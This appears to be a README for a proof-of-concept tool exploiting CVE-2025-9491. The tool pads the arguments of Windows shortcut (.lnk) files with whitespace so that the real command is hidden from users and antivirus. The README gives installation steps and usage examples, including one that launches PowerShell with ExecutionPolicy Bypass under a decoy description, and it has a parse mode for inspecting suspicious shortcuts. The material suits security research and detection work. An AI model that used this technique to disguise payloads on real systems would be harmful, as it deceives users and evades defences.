
Proof-of-Concept of the CVE-2025-9491 using invisible characters in the arguments of a Windows shortcut file (.lnk)
A proof-of-concept tool for demonstrating the Windows Shortcut (LNK) file vulnerability (ZDI-CAN-25373/CVE-2025-9491). This tool showcases how malicious command-line arguments can be hidden within .lnk files by leveraging whitespace character padding.
**This tool is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal. Use this tool only on systems you own or have explicit permission to test.
This is a proof-of-concept tool for creating and manipulating Windows .lnk (shortcut) files to demonstrate the CVE-2025-9491 vulnerability. The tool allows users to:
The vulnerability exploits how Windows displays shortcut file properties, allowing attackers to hide malicious command-line arguments from users who inspect the shortcut.
CVE-2025-9491 is a Windows UI misrepresentation vulnerability affecting .lnk (shortcut) files. It was discovered by Trend Micro's Zero Day Initiative (ZDI-CAN-25373) and has been exploited by state-sponsored APT groups since at least 2017 (check the Credits for aditionnal details about it).
The vulnerability exploits the fixed-size "Target" field of the Windows shortcut UI. By padding the arguments with whitespace characters (space, tab, line feed, carriage return), a malicious actor can: hide malicious commands and execute hidden payloads. This can also be used to evade detection, as users inspecting the shortcut see only the padded whitespace, not the real command, EDR will have an extremly long commandline in the telemetry, and if long enough, common EPP or AV will give up reading it all.
Python 3.7 or higher is required.
Clone or download the repository:
git clone https://github.com/amperlcock/CVE-2025-9491_POC.git
cd CVE-2025-9491_POC
Install dependencies:
Quick and dirty way, venv is prefered.
pip install -r requirements.txt
Run the tool:
python main.py --help
The tool has three main modes: create, obfuscate, and parse.
Create a new obfuscated LNK file from scratch.
Syntax:
python main.py create -t TARGET -a ARGUMENTS -o OUTPUT [options]
Required Arguments:
-t, --target - Path to the target executable file-a, --arguments - Arguments to pass to the target executable-o, --output - Output LNK file destinationOptional Arguments:
-c, --charset - Custom charset for padding (HEX format)
20,09,0A,0B,0C,0D (space, tab, LF, VT, FF, CR)-s, --padding_size - Number of padding characters
128 (no limit known)-p, --pattern_type - Padding pattern style
-i, --icon - Path to custom icon for the shortcut
-d, --description - Visible description for the shortcut
-v, --verbose - Enable verbose output
Example:
python main.py create -t C:\Windows\System32\cmd.exe -a "/c whoami" -o output.lnk -s 256 -v
Add padding to an existing LNK file's arguments.
Syntax:
python main.py obfuscate -i INPUT -o OUTPUT [options]
Required Arguments:
-i, --input - Path to the existing LNK file to obfuscate-o, --output - Output LNK file destinationOptional Arguments:
-c, --charset - Custom charset for padding (HEX format)
20,09,0A,0B,0C,0D-s, --padding_size - Number of padding characters
128-p, --pattern_type - Padding pattern style
-v, --verbose - Enable verbose output
Example:
python main.py obfuscate -i benign.lnk -o obfuscated.lnk -s 256 -p 3 -v
Display the contents of an existing LNK file.
Syntax:
python main.py parse -i INPUT
Required Arguments:
-i, --input - Path to the LNK file to parse and displayExample:
python main.py parse -i output.lnk
python main.py create \
-t "cmd.exe" \
-a "/c powershell -Command Get-Process" \
-o malicious.lnk \
-s 200 \
-p 1 \
-v
This creates a shortcut to cmd.exe with hidden PowerShell command preceded by 200 random padding characters.
python main.py obfuscate \
-i "legitimate.lnk" \
-o "obfuscated.lnk" \
-s 512 \
-c "20,09,0A" \
-p 2
This adds 512 characters of mono-pattern padding (using space and tab) to an existing shortcut.
python main.py parse -i "suspicious.lnk"
Output shows all properties including hidden arguments.
python main.py create \
-t "powershell.exe" \
-a "-NoProfile -ExecutionPolicy Bypass -Command 'Get-ChildItem'" \
-o output.lnk \
-c "20,09,0A,0B,0C,0D" \
-s 1024 \
-p 3 \
-d "My Document"